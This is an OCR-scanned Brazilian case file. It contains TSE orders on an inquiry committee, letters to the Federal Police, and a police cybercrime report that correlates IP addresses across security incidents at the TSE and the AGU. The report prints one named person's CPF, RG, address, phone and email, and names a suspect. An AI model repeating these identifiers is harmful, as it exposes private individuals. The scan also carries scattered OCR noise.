AGRAVO REGIMENTAL NO AGRAVO DE INSTRUMENTO Nº 1-32.2017.6.11.0015 - CLASSE 6 - SÃO FÉLIX DO ARAGUAIA-MT 
(152 ZONA ELEITORAL - SÃO FÉLIX DO ARAGUAIA) 


RELATOR: MINISTRO ADMAR GONZAGA 

AGRAVANTES: PARTIDO POPULAR SOCIALISTA (PPS) - MUNICIPAL e Outros 
ADVOGADOS: ELLY CARVALHO JÚNIOR - OAB: 6132/MT e Outro 
AGRAVADOS: JANAILZA TAVEIRA LEITE e Outro 

ADVOGADOS: DANILO SCHEMBEK SOUZA - OAB: 19907/MT e Outra 


AGRAVO REGIMENTAL NO RECURSO ESPECIAL ELEITORAL Nº 1-74.2017.6.10.0010 - CLASSE 32 - SÃO LUÍS-MA (102 ZONA 
ELEITORAL - SÃO LUÍS) 


Este documento tem o mesmo valor probante do original apresentado, nos termos do § 1° 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, Í H 


RELATOR: MINISTRO TARCISIO VIEIRA DE CARVALHO NETO 

AGRAVANTE: MINISTÉRIO PÜBLICO ELEITORAL 

AGRAVADO: PAULO VICTOR MELO DUARTE 

ADVOGADOS: JOSE EDUARDO RANGEL DE ALCKMIN - OAB: 2977/DF e Outros 
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TRIBUNAL SUPERIOR ELEITORAL 


DESPACHO 

Senhora Ministra Presidente, 5 š 
& д 
Em razão da persistência da situação noticiada no expediente 0986569, p я 
: iuo cien. UE : Е 2% на 
reitero a solicitação lá contida, de prorrogação do prazo por último fixado para 5x 
conclusão do trabalho atribuído à Comissão de Sindicância. dg 

Respeitosamente, 4 

° 

Це) 


RICARDO FIOREZE 


Presidente da Comissão de Sindicância 


RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR 
ELEITORAL 
Documento assinado eletronicamente em 23/05/2019, às 09:2 , conforme art. 
1º, 82º, ІШ, b, da Lei 11.419/2006. 





LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, 


NI A autenticidade do documento pode ser conferida em 
DT https://sei.tse.jus.br/sei/controlador externo.php? 


12 acao=documento conferir&id orgao acesso externo=0écv=10501998crc=0D16FFE 





bante do original apresentado, nos termos do $ 1º 


О. 


Autenticado por Escrivao de Policia Federal, 


а informando, caso não preenchido, o código verificador 1050199 e o código СЕС 
0D16FFEA. 


2018.00.000014309-3 Documento nº 1050199 v2 


Este documento tem o mesmo valor 


Sigiloso 


SR/PF/DF 
2020.0043195 





TRIBUNAL SUPERIOR ELEITORAL 


Portaria TSE n? 380 de 23 de maio de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR 
ELEITORAL, tendo em vista o contido no Processo SEI n? 
2018.00.000014309-3, 


RESOLVE: 


prorrogar, por sessenta dias, o prazo para conclusio dos 
trabalhos da Comissáo de Sindicáncia instituída pela Portaria-TSE 976, 
de 08.11.2018. 


Ministra ROSA WEBER 








2018.00.000014309-3 Documento n? 1050653 v1 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 19 do Art. 11 da Lei 11.419/2006. 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 
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2020.0043195 


TRIBUNAL SUPERIOR ELEITORAL 
Portaria TSE n? 380 de 23 de maio de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o 
contido no Processo SEI n? 2018.00.000014309-3, 


RESOLVE: 


prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da 
Comissão de Sindicância instituída pela Portaria-TSE 976, de 08.11.2018. 


Š poli 
“Vu a 


Ministra ROSA WEBER 


2018.00.000014309-3 Documento nº 1050653 v1 


Este documento tem o mesmo valor probante do original apresentado, nos termos do 8 19 do Art. 11 da Lei 11.419/2006. 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


Sigiloso 


Ano 2019, Número 098 Brasília, segunda-feira, 27 de maio de 2019 PágiRÁPE /DF' 
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Atos da Presidéncia 
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Portaria Sá 
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с я 
"E 
Prorrogação. Trabalhos. Comissão de Sindicância. d 5 
Portaria TSE n? 380 de 23 de maio de 2019. б 5 
ss 
© e 
= 8 
A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no Processo SEI n2 2018.00.000014309-3, 2 
B us 
RESOLVE: 4m 
о г- 
© A 


prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de Sindicância instituída pela Portaria-TSE 976, 
de 08.11.2018. 


MATRÍCULA 


Ministra ROSA WEBER 


Instituição. Grupo de Trabalho. Ações. TSE. Desinformação e eleições. 


Portaria TSE nº 382 de 24 de maio de 2019. 


Institui grupo de trabalho incumbido de elaborar propostas de novas linhas de ação do Tribunal Superior Eleitoral sobre 
desinformação e eleições. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas atribuiçobes legais e regimentais, 
CONSIDERANDO a necessidade de estabelecer estratégias para o tema da desinformação nas eleições municipais de 2020, 


CONSIDERANDO o encerramento dos trabalhos do Conselho Consultivo sobre Internet e Eleições (Portaria-TSE nº 949/2017) — 
voltado ao estudo do fenômeno das fake news durante as eleições gerais de 2018, 


CONSIDERANDO a classificação, no grau de sigilo reservado, pelo então Secretário-Geral da Presidência do TSE, das atas 
reuniões do Conselho Consultivo, 


CONSIDERANDO o contido no art. 29 da Lei nº 12.527/2011 (Lei de Acesso à Informação), 


RESOLVE: 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, Í H 


Art. 1º Fica instituído grupo de trabalho incumbido de analisar os conteúdos apresentados no Seminário Internacional Fake 
News e Eleições e na reunião prévia de alinhamento interno, bem como o teor das atas do Conselho Consultivo sobre Internet e 
Eleições (Portaria-TSE nº 949/2017) e dos vídeos gravados pela Assessoria de Comunicação do TSE, com especialistas no tema, 
para, no prazo de 10 (dez) dias, apresentar proposta de ação do Tribunal Superior Eleitoral sobre desinformação e eleição. 


Art. 2º O grupo terá a seguinte composição: 
| - Dr. Ricardo Fioreze, Juiz Auxiliar do Gabinete da Presidência, Coordenador; 


11 - Dr. Sandro Nunes Vieira, Juiz Auxiliar do Gabinete da Vice-Presidência, Coordenador substituto; 





Diário da Justiça Eletrônico do Tribunal Superior Eleitoral. Documento assinado digitalmente conforme MP n. 2.200-2/2001, de 24.8.2001, que institui a Infra 
estrutura de Chaves Públicas Brasileira - ICP-Brasil, podendo ser acessado no endereço eletrônico http://www .tse.jus.br 


Sigiloso 


SR/PF/DF 
2020.0043195 





TRIBUNAL SUPERIOR ELEITORAL 


DESPACHO 
Senhora Ministra Presidente, E š 
Em razão da persistência da situação noticiada no 3 5 
expediente 0986569, reitero а solicitação lá contida, de prorrogação ss 
do prazo por último fixado para conclusão do trabalho atribuído à э 8 
Comissão de Sindicância. m 
< 


Respeitosamente, 


RICARDO FIOREZE 


Presidente da Comissáo de Sindicáncia 


RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÉNCIA DO TRIBUNAL SUPERIOR 
ELEITORAL 
[S9] Documento assinado eletronicamente em 29/07/2019, às 15:29, conforme art. 
1º, 82°, ІШ, b, da Lei 11.419/2006. 


LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, 


A autenticidade do documento pode ser conferida em 


> https://sei.tse.jus.br/sei/controlador externo.php? 
acao=documento conferir&id orgao acesso externo=0&cv=1101627&crc=0A19CB 









Autenticado por Escrivao de Policia Federal, 


u^ o Tm 
rr din 
c Elem 





tx informando, caso não preenchido, o código verificador 1101627 e o código CRC 
0A19CBB6. 
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Este documento tem o mesmo УВ ог probante do original apresentado, nos termos do $ 1º 
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SR/PF/DF 
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TRIBUNAL SUPERIOR ELEITORAL 


Portaria TSE п” 566 de 29 de julho de 2019. 


A PRESIDENTE ро TRIBUNAL SUPERIOR 
ELEITORAL, tendo em vista o contido no Processo SEI n? 
2018.00.000014309-3, 


RESOLVE: 


prorrogar, por sessenta dias, o prazo para conclusio dos 
trabalhos da Comissáo de Sindicáncia instituída pela Portaria-TSE 976, 
de 08.11.2018. 


Ministra ROSA WEBER 








2018.00.000014309-3 Documento n? 1101862 v1 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 19 do Art. 11 da Lei 11.419/2006. 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 
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SR/PF/DF 
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TRIBUNAL SUPERIOR ELEITORAL 
Portaria TSE n? 566 de 29 de julho de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o 
contido no Processo SEI n? 2018.00.000014309-3, 


RESOLVE: 


prorrogar, por sessenta dias, o prazo para conclusáo dos trabalhos da 
Comissão de Sindicância instituída pela Portaria-TSE 976, de 08.11.2018. 


ZW ¿A 


istra ROSA WEBER 






Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1° do Art. 11 da Lei 11.419/2006. 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


2018.00.000014309-3 Documento n? 1101862 v1 
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Ano 2019, Nümero 147 Brasília, quinta-feira, 1 de agosto de 2019 PágiRdBF /DF 
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Diário da Justica Eletrónico (DJE) O... „орик 





Ano 2019, Nümero 147 Divulgação: quarta-feira, 31 de julho de 2019 


Publicação: quinta-feira, 1 de agosto de 2019 
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Atos da Presidéncia 


Diário da Justica Eletrónico do Tribunal Superior Eleitoral. Documento assinado digitalmente conforme MP n. 2.200-2/2001, de 24.8.2001, que institui a Infra 
estrutura de Chaves Públicas Brasileira - ICP-Brasil, podendo ser acessado no endereço eletrônico http://www. tse.jus.br 
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Palo 


Ano 2019, Número 147 Brasília, quinta-feira, 1 de agosto de 2019 PágiRÁPE /DF' 
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Portaria 


Prorrogação. Prazo. Comissão de Sindicância. 


Portaria TSE nº 566 de 29 de julho de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no Processo SEI nº 2018.00.000014309-3, š S 

° 5 

RESOLVE: ч ч 

с я 

q o 

prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de Sindicância instituída pela Portaria-TSE 976, — "' 5 
d 

de 08.11.2018. 2 3 

вт 

© o 

S iB 

Ф 

ра 

Ministra ROSA WEBER «а 

о ES: 

© A 


Prorrogação. Prazo. Comissão de Processo Administrativo Disciplinar. 


MATRÍCULA 


Portaria TSE nº 567 de 30 de julho de 2019. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no Processo SEI nº 2019.00.000003043-0, 
RESOLVE: 


prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de Processo Administrativo Disciplinar, 
instituída pela Portaria-TSE 226, de 21.3.2019. 


Ministra ROSA WEBER 


Assessoria de Plenário 


Ata de Julgamento 


ATA DA 55? SESSÃO, EM 28 DE MAIO DE 2019 
SESSÃO ORDINÁRIA ADMINISTRATIVA 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, Í H 


Presidéncia da Senhora Ministra Rosa Weber. Presentes os Senhores Ministros Luís Roberto Barroso, Edson Fachin, Jorge Mussi, 
Og Fernandes, Tarcisio Vieira de Carvalho Neto e Sérgio Banhos. Vice-Procurador-Geral Eleitoral, o Dr. Humberto Jacques de 
Medeiros. Diretor-Geral, Anderson Vidal Corréa. As dezenove horas e vinte e sete minutos foi aberta a sessáo. 


REGISTROS 





Diário da Justica Eletrónico do Tribunal Superior Eleitoral. Documento assinado digitalmente conforme MP n. 2.200-2/2001, de 24.8.2001, que institui a Infra 
estrutura de Chaves Públicas Brasileira - ICP-Brasil, podendo ser acessado no endereço eletrônico http://www. tse.jus.br 


Sigiloso 


SR/PF/DF 
2020.0043195 





TRIBUNAL SUPERIOR ELEITORAL 





DESPACHO 

A considerar o período transcorrido desde o recebimento da 5 Е 
informação 0986380, diligencio na solicitação de novas informações. 3 3 
RICARDO FIOREZE 25 
JUIZ AUXILIAR DA PRESIDÉNCIA DO TRIBUNAL SUPERIOR 3 3 
ELEITORAL = B 

Documento assinado eletronicamente em 24/09/2019, às 10:17, conforme art. h 

8 


19, 82°, HI, b, da Lei 11.419/2006. 









ermos do $ 1? 


A autenticidade do documento pode ser conferida em 
T. ae * https://sei.tse.jus.br/sei/controlador externo.php? 
RUE 

Ta Ter 





IE. acao=documento conferir&id orgao acesso externo=0&cv=1147820&crc=B7708648, 


ja informando, caso não preenchido, o código verificador 1147820 e o código CRC 
B7708648. 





2018.00.000014309-3 Documento nº 1147820 v2 


LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, 


Este documento tem o mesmo valor probante do original apresentado, no 


Autenticado por Escrivao de Policia Federal, 


Sigiloso 


SR/PF/DF 
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TRIBUNAL SUPERIOR ELEITORAL 


Ofício GAB-SPR n° 3586/2019 = З 
Brasília, 24 de setembro de 2019. Е |D 
A Sua Excelëncia o Senhor s 3 
Dr. MAURÍCIO LEITE VALEIXO 3 5 
Diretor-Geral da Polícia Federal E 


Brasília - DF 


Assunto: IPL 1361/2018-4 - SR/PF/DF 


Senhor Diretor-Geral, 


Solicito a gentileza de, em caráter reservado, serem enviados a mim os 
resultados até o momento obtidos em razáo da investigacáo promovida por esse 
Departamento por meio do procedimento IPL 1361/2018-4 - SR/PF/DF. 


LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, 


Atenciosamente, 


RICARDO FIOREZE 
Juiz Auxiliar da Presidéncia 


Presidente da Comissáo de Sindicáncia 


RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÉNCIA DO TRIBUNAL SUPERIOR 
ELEITORAL 
**] Documento assinado eletronicamente em 24/09/2019, às 10:23, conforme art. 
1º, 82°, Ш, Б, da Lei 11.419/2006. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do $ 1? 


Autenticado por Escrivao de Policia Federal, 


A autenticidade do documento pode ser conferida em 





нЕ“ 
г Де https://sei.tse.jus.br/sei/controlador externo.php? 


"2 Le acao=documento conferir&id orgao acesso externmo=08%€cv=11478258crc=3E86BDD1, 





tx informando, caso não preenchido, o código verificador 1147825 e o código CRC 
3ES6BDDI. 
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Sigiloso 


E-mail - 1148003 SR/PF/DF 


2020.0043195 


Data de Envio: 
24/09/2019 13:10:40 


De: 
TSE/Presidéncia «presidencia(tse.jus.br» 


Para: 
dg@dpf.gov.br 
aedg@dpf.gov.br 
cgab@dpf.gov.br 


às 11h20. 


Assunto: 
Ofício GAB-SPR nº 3586/2019 


Mensagem: 
Prezados Senhores, 


11 da Lei 11.419/2006. 


em 04/11/2020, 


Encaminho em anexo o Ofício GAB-SPR nº 3586/2019. 


do Art. 


Solicito a gentileza de confirmar recebimento. 


Atenciosamente, 


Sérgio Trés 

Secretaria-Geral da Presidência 
Tribunal Superior Eleitoral 
Telefone (61) 3030-7837 


Anexos: 
Oficio 1147825.html 


LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, 


Este documento tem o mesmo valor probante do original apresentado, nos termos do $ 1º 


Autenticado por Escrivao de Policia Federal, 


Sigiloso 


SR/PF/DF 
2020.0043195 





De: Grupo de Repressao a Crimes Ciberneticos [grcc.df  dpf.gov.br] 
Enviado em: sexta-feira, 10 de janeiro de 2020 15:08 

Para: Sérgio Carlos Trés E Silva; Presidencia 

Assunto: Encaminha Ofício n? 0070/2020 - IPL 1361/2018-4 SR/PF/DF - GRCC 


Ofício n? 0070/2020 - IPL 1361/2018-4 SR/PF/DF - GRCC 
Brasília/DF, 06 de janeiro de 2020. 


A Sua Exceléncia 

Ministra ROSA MARIA PIRES WEBER 
Presidente do Tribunal Superior Eleitoral 
Tribunal Superior Eleitoral - TSE 

Setor de Administração Federal Sul (SAFS) 
Quadra 7, Lotes 1/2, Brasília/DF 

CEP 70070-600 


Assunto: Solicitação de informações 
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referência na resposta) 


Senhora Ministra, 


Visando instruir os autos do Inquérito Policial nº 1361/2018-4 - SR/PF/DF, solicito a Vossa Excelência 
solicitando informar as portas lógicas das seguintes conexões, bem como seus fusos horários: 


189.40.75.154, em 18/04/2018, às 18:56:14 

191.51.34.72, em 18/04/2018, às 19:02:05 

189.40.75.239, em 18/04/2018 20:45:41 

177.219.117.183, em 18/04/2018, às 20:56:20 

189.40.72.247, 18/04/2018, às 22:21:17 

189.40.72.14, em 18/04/2018 22:23:14 

189.40.91.135, em 18/04/2018, às 22:29:37 

189.40.90.239, em 19/04/2018, às 01:13:32 

189.40.90.253, em 19/04/2018, às 04:08:37 

201.81.167.53, em 18/04/2018, às 03:15:28 e 21/04/2019, às 08:36:42, e 
201.6.129.235, em 18/04/2018, às 05:24:54 e 18/04/2018, às 05:48:59. 


Em anexo cópia de fl. 85 dos autos, encaminhada pelo servidor CRISTIANO MOREIRA ANDRADE. 


Respeitosamente, 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 19 do Art. 11 da Lei 11.419/2006. 


VICTOR NEVES FEITOSA CAMPOS 
Delegado de Polícia Federal 
Classe Especial - Matrícula n? 16.179 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 
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TRIBUNAL SUPERIOR ELEITORAL 


DESPACHO 
Senhora Ministra Presidente, Š 5 
Em razão da persistência da situação noticiada no 3 3 
expediente 1230304, reitero a solicitação lá contida, de prorrogação > 
do prazo por último fixado para conclusão do trabalho atribuído а ч 6 
Comissão de Sindicância. 5 


Respeitosamente, 


RICARDO FIOREZE 


Presidente da Comissáo de Sindicáncia 


RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÉNCIA DO TRIBUNAL SUPERIOR 
ELEITORAL 
[E] Documento assinado eletronicamente em 04/03/2020, às 15:33, conforme art. 
1º, 82°, Ш, b, da Lei 11.419/2006. 


LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, 


Federal, 


A autenticidade do documento pode ser conferida em 


a + https://sei.tse jus.br/sei/controlador externo.php? 


acao=documento conferir&id orgao acesso externo=0&cv=1230306&crc=279BF2€8, 


бы informando, caso não preenchido, o código verificador 1230306 e o código CRC 
279BF2C8. 





or probante do original apresentado, nos termos do $ 1º 
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irr 
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Este documento tem o mesmo 
Autenticado por Escrivao de Pol 
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TRIBUNAL SUPERIOR ELEITORAL 


Portaria TSE n? 160 de 04 de marco de 2020. 


А PRESIDENTE DO TRIBUNAL SUPERIOR 


ELEITORAL, no uso de suas atribuições legais e regimentais, 


RESOLVE 


Art. 1º Designar o Dr. Leonardo Castanho Mendes, Juiz 
Auxiliar do Gabinete da Presidência, para compor a Comissão 
de Sindicância instituída pela Portaria TSE nº 976 de 08 de novembro de 
2018, em substituição ao Dr. Fernando Pessóa da Silveira Mello. 


Art. 2º Prorrogar, por sessenta dias, o prazo para conclusão dos 
trabalhos da Comissão referida no art. 1º. 


Ministra ROSA WEBER 








Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º do Art. 11 da Lei 11.419/2006. 
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Sigiloso 


SR/PF/DF 
2020.0043195 





TRIBUNAL SUPERIOR ELEITORAL 


Portaria TSE n? 160 de 04 de marco de 2020. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no 
uso de suas atribuições legais e regimentais, 


RESOLVE 


Art. 1º Designar o Dr. Leonardo Castanho Mendes, Juiz 
Auxiliar do Gabinete da Presidência, para compor a Comissão 
de Sindicância instituída pela Portaria TSE nº 976 de 08 de 
novembro de 2018, em substituição ao Dr. Fernando Pessóa da 
Silveira Mello. 


Art. 2º Prorrogar por sessenta dias, o prazo para 
conclusão dos trabalhos da Comissão referida no art. 1º. 


^ 


ж / ША 


Ministra ROSA WEBER 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 19 do Art. 11 da Lei 11.419/2006. 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


2018.00.000014309-3 Documento n? 1268606 v3 


Sigiloso 


Ano 2020, Nümero 047 Brasília, terca-feira, 10 de marco de 2020 PágiRABF /DF 


2020.0043195 
Portaria TSE n? 137 de 21 de fevereiro de 2020. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas atribuições, 
RESOLVE 


dispensar, a pedido, o Dr. FERNANDO PESSÓA DA SILVEIRA MELLO das Ғипсбев de Juiz Auxiliar do Gabinete da Presidéncia e de 
Juiz Ouvidor da Ouvidoria da Secretaria-Geral da Presidéncia a partir de 26 de fevereiro de 2020. 


4-4 
о 3 
ооз 
PORE 
Ministra ROSA WEBER qe 
ча 
а 8 
Designação. Juiz Auxiliar. Comissão de Sindicância instituída. ч 3 
Portaria TSE n? 160 de 04 de marco de 2020. $2 
- B 
ра 
A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas atribuicóes legais e regimentais, < б 
о ES: 
© A 


RESOLVE 


MATRÍCULA 


Art. 1º Designar o Dr. Leonardo Castanho Mendes, Juiz Auxiliar do Gabinete da Presidência, para compor a Comissão de 
Sindicância instituída pela Portaria TSE nº 976 de 08 de novembro de 2018, em substituição ao Dr. Fernando Pessóa da Silveira 
Mello. 


Art. 2º Prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão referida no art. 1º. 


Ministra ROSA WEBER 


Designação. Juiz Auxiliar. Comissão de Processo Administrativo Disciplinar. 


Portaria TSE nº 159 de 04 de março de 2020. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas atribuições legais e regimentais, 


RESOLVE 


Art. 1º Designar o Dr. Leonardo Castanho Mendes, Juiz Auxiliar do Gabinete da Presidência, para compor a Comissão de 
Processo Administrativo Disciplinar instituída pela Portaria TSE nº 226 de 21 de março de 2019, em substituição ao servidor 
Ronaldo Assunção Sousa do Lago. 


Art. 2º Prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão referida no art. 1º. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do S 1º 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, Í H 


Ministra ROSA WEBER 


Designacáo. Juiz Auxiliar. Ouvidoria. 


Portaria TSE n? 156 de 04 de marco de 2020. 


A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas atribuições e tendo em vista o disposto no art. 19, 8 19A, da 





Diário da Justica Eletrónico do Tribunal Superior Eleitoral. Documento assinado digitalmente conforme MP n. 2.200-2/2001, de 24.8.2001, que institui a Infra 
estrutura de Chaves Públicas Brasileira - ICP-Brasil, podendo ser acessado no endereço eletrônico http://www. tse.jus.br 





POLÍCIA FEDERAL 
GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS - GRCC/DRCOR/SR/PF/DF 


Endereco: SAIS, Qd. 7, Lote 23, Sala 135 - CEP: 70610-902 - Brasília/DF 


CERTIDÃO DE DESENTRANHAMENTO 
2020.0043195-SR/PF/DF 


CERTIFICO QUE, desentranhei dos autos os documentos relacionados em virtude de erro no escaneamento dos 
autos. O referido é verdade e dou fé. 


Documento eletrónico assinado em 04/11/2020, às 11h21, por LEONARDO BRUCE MADUREIRA LOPES, 
Escrivao de Policia Federal, na forma do artigo 1°, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A 
autenticidade deste documento pode ser conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura, 
informando o seguinte código verificador: 4264408338f2ffb41156f88e2aff40fa9d46c67b 





SERVICO PÜBLICO FEDERAL 
MJSP - POLÍCIA FEDERAL 
COORDENAÇÃO-GERAL DE POLÍCIA FAZENDÁRIA 
SERVIÇO DE REPRESSÃO A CRIMES CIBERNÉTICOS 


RELATÓRIO DE ANÁLISE DE ALTA TECNOLOGIA 
Nº 001/2020-UTC/SRCC/CGPFA Z/DICOR/PF 


ASSUNTO: INCIDENTE ADVOCACIA-GERAL DA UNIÃO (COMPLEMENTAR) 
SEI nº 08200.008955/2019 


O presente Relatório trata de complementação das informações encaminhadas pela 
Advocacia-Geral da União, referentes ao processo SEI nº 08200.008955/2019, sobre incidentes 


de segurança ocorridos nos sistemas informatizados daquele órgão. 


1. DILIGÊNCIAS 


A partir das informações levantadas no Relatório de Alta Tecnologia 006/2019, 
foram oficiadas diversas empresas, para que fornecessem dados cadastrais referentes a 


endereços IP utilizados no incidente: 


е OFÍCIO Nº 8/2019-UTC/SRCC/CGPFAZ/DICOR/PF - Claro S.A 

e OFÍCIO Nº 9/2019-UTC/SRCC/CGPFAZ/DICOR/PF - Telefónica Brasil 
e OFÍCIO Nº 10/2019-UTC/SRCC/CGPFAZ/DICOR/PF - MAXIHOST 

e OFÍCIO Nº 11/2019-UTC/SRCC/CGPFAZ/DICOR/PF - Siqueiralink 

е OFÍCIO Nº 4/2020-UTC/SRCC/CGPFAZ/DICOR/PF - Locaweb 


Os ofícios supracitados, bem como as respostas recebidas, encontram-se anexadas 
ao Processo SEI da referência. Cumpre destacar que a empresa Siqueiralink não respondeu à 


determinação encaminhada por e-mail, mesmo após reiteração. 


rl. 353 


RELATÓRIO N? 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF (continua No 


2020.0043195 


2. CORRELAÇÃO COM OUTROS CASOS 


Após o recebimento das respostas dos provedores, as informações relevantes, como 
endereços IP e usuários responsáveis, foram inseridas na Base Nacional de Crimes Cibernéticos 


(BNCO). 


Após pesquisas na ferramenta supracitada, foram encontradas correlações do caso 
em tela com outros dois casos de incidente de segurança, um relativo ao Tribunal Superior 
Eleitoral (vide Relatório de Alta Tecnologia nº 002/2019-UTC/SRCC) e outro relativo ao 
incidente investigado no IPL 005/2017-DICINT/DIP, as quais serão detalhadas abaixo. 


Inicialmente, foi constatada a existência no caso AGU de diversos endereços IP 
idênticos aos utilizados em incidente de segurança ocorrido no Tribunal Superior Eleitoral, 


pertencentes ao provedor de VPN NORDVPN, conforme diagrama abaixo: 


=) ay 
Event ф Event - 


Relatorio 002-2019 TSE Relatorio 006-2019 - AGU 
І | 


185.153.176.4 







185.153.176.2 


185.153.176.3 185.1$3.176.6 185.153.176.9 


Nord VPN 


Figura 1 - Diagrama de correlação entre os casos AGU e TSE. 


RELATÓRIO N° 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF (continua 


Segue tabela com os timestamps correspondentes aos acessos do incidente da AGU 


е do TSE: 





ENDERECO IP 


TIMESTAMP AGU 


TIMESTAMP TSE 





185.153.176.2 


28/11/2018 00:21:12 


18/04/2018 02:37:52 a 


18/04/2018 02:56:54 





185.153.176.3 


24/10/2018 04:31:53 


18/04/2018 03:20:35 





185.153.176.4 


16/11/2018 21:04:30 


17/04/2018 21:31:18 


a 18/04/2018 19:12:14 





185.153.176.5 


09/11/2018 00:35:21 


18/04/2018 01:49:06 


a 18/04/2018 02:19:32 





185.153.176.6 


25/01/2019 12:10:07 


18/04/2018 03:04:47 


a 18/04/2018 03:13:54 





185.153.176.8 








14/11/2018 02:35:32 





20/04/2018 10:50:23 


a 20/04/2018 15:15:42 





Segundo pesquisa realizada na Internet, a empresa Nord VPN tem sede no Panamá, 
país que não possui leis de retenção de dados obrigatórias e nào participa das alianças Cinco 


Olhos (Five Eyes) ou Catorze Olhos (Fourteen Eyes)!. 


Após consultas à DICINT/DIP, referentes ao IPL n? 005/2017-DICINT/DIP, foram 


encaminhadas informações dos endereços IP e dados cadastrais investigados. Com o auxílio da 


BNCC, foi possível correlacionar tais informações ao incidente TSE. 


Inicialmente, verificou-se que o endereço IP 191.252.0.19, pertencente à empresa 
Locaweb, aparecia nos dois incidentes. Além desse, também foi identificado no caso TSE o 


endereço IP 191.252.64.20, pertencente à mesma empresa. 





! https://pt.wikipedia.org/wiki/NordVPN 





RELATÓRIO N° 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF (continua 


Após oficiar à empresa Locaweb (Ofício N? 4/2020- 
UTC/SRCC/CGPFAZ/DICOR/PF), foram informados os seguintes dados cadastrais do 
responsável pela hospedagem do endereço IP 191.252.64.20: 








Responsável: Luiz Henrique Detlinger 
CPF: 042.749.858-90 

RG: 10275110 País: Brasil 

CEP: 69901441 

Endereço: Rua Santa Inês Número: 99807 
Bairro: Conjunto Guiomard Santos 
Cidade: Rio Branco 

Estado: Acre 

Telefone Fixo 1: (12) 3953-9999 

E-mail principal: ednei.pexa O protonmail.com 
Forma de Pagamento: Boleto Bancário 





Verificou-se que LUIZ HENRIQUE DETLINGER também aparecia na 
investigação do IPL nº 005/2017-DICINT/DIP, como responsável por uma hospedagem no 
endereço IP 191.252.56.210 da empresa Locaweb. 


Ao pesquisar por informações adicionais referentes ao IPL, verificou-se que um 
dos autores responsáveis pelo incidente foi o nacional CARLOS EDUARDO SOARES DA 
SILVA. 


Após inserção na BNCC, também foi possível identificar mais uma correlação do 


caso do TSE ao IPL supracitado: 


Durante a investigação ao incidente ao TSE, foram solicitados dados cadastrais de 
alguns endereços IP utilizados no incidente, os quais pertenciam à empresa TIM 


(177.165.110.249 e 186.197.65.147). 

















ENDEREÇO IP TIMESTAMP INICIAL TIMESTAMP FINAL 
177.165.110.249 21/04/2018 10:01:29 21/04/2018 12:40:46 
